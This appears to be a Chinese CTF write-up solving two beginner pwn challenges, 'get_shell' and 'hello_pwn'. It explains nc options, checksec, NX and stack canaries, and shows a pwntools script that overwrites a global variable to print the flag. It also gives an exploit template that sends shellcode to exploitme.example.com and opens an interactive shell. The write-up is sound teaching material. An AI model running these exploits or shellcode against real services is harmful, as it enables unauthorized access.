初识 pwn(get_shell、hello_pwn)

1、get_shell

Linux的nc命令,用于设置路由器

参数及作用:

  • -g<网关> 设置路由器跃程通信网关,最多可设置8个。
  • -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
  • -h 在线帮助。
  • -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
  • -l 使用监听模式,管控传入的资料。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  • -p<通信端口> 设置本地主机使用的通信端口。
  • -r 乱数指定本地与远端主机的通信端口。
  • -s<来源位址> 设置本地主机送出数据包的IP地址。
  • -u 使用UDP传输协议。
  • -v 显示指令执行过程。
  • -w<超时秒数> 设置等待连线的时间。
  • -z 使用0输入/输出模式,只在扫描通信端口时使用。

nc IP地址 端口号

ls展开

直接看到flag

使用cat命令获取

初识 pwn(get_shell、hello_pwn)_第1张图片

 加一个-nv看着更清楚初识 pwn(get_shell、hello_pwn)_第2张图片

此题并没有用到给的附件

 2、hello_pwn

进去发现无论执行什么都是直接退出了

初识 pwn(get_shell、hello_pwn)_第3张图片

 下载附件,拖进kali检查一下保护机制

checksec的用法:

checksec --file=文件绝对路径

 发现只启用了 NX(No eXecute,数据不可执行)保护机制,其基本原理是将数据所在内存页标识为不可执行。

Linux中cookie信息称为canary,canary栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行,攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。

将下载附件在IDA pro 中打开,先找到主函即main函数

初识 pwn(get_shell、hello_pwn)_第4张图片

按F5进行反编译

初识 pwn(get_shell、hello_pwn)_第5张图片

 发现当 dword_60106C == 1853186401 时,程序就会执行 sub_400686()函数

查看sub_400686()函数

初识 pwn(get_shell、hello_pwn)_第6张图片

发现如果调用sub_400686函数就会cat flag,这里只需将将dword_60106C的值覆盖为 1853186401就能拿到flag。

进入unk_601068和dword_60106c查看两者相距四个字节

初识 pwn(get_shell、hello_pwn)_第7张图片

 编写exp脚本:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
r = remote('IP地址',端口号)
a = r.recvuntil('f\n')
print(a)
r.send('AAAAaaun')
flag = r.recvuntil('\n')
print(flag)

初识 pwn(get_shell、hello_pwn)_第8张图片

 权限不够的话我们使用chmod命令处理

使用 ./ 或者python 都可以执行

初识 pwn(get_shell、hello_pwn)_第9张图片

初识 pwn(get_shell、hello_pwn)_第10张图片

 执行成功后即可看到flag

使用pythonpwntools是一个ctf框架和漏洞利用开发库,用Python开发,由rapid设计,旨在让使用者简单快速的编写exploit。

使用 from pwn import * 将所有的模块导入到当前namespace,并把os,sys等常用的系统库导入。

exp脚本大致框架:

from pwn import *      
context(arch = 'i386', os = 'linux')           // 导入pwntools模块

r = remote('exploitme.example.com', 31337)       // 设置目标机的信息
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()         // 将控制权交给用户就可以使用打开的shell了

context环境功能设置:

context(os='linux', arch='amd64', log_level='debug')

os将系统设置为linux;

arch将架构设置为amd64,32位模式是'i386';

log_level将日志输出的等级设置为debug,避免一些IO错误。

你可能感兴趣的:(pwn,CTF,linux,安全)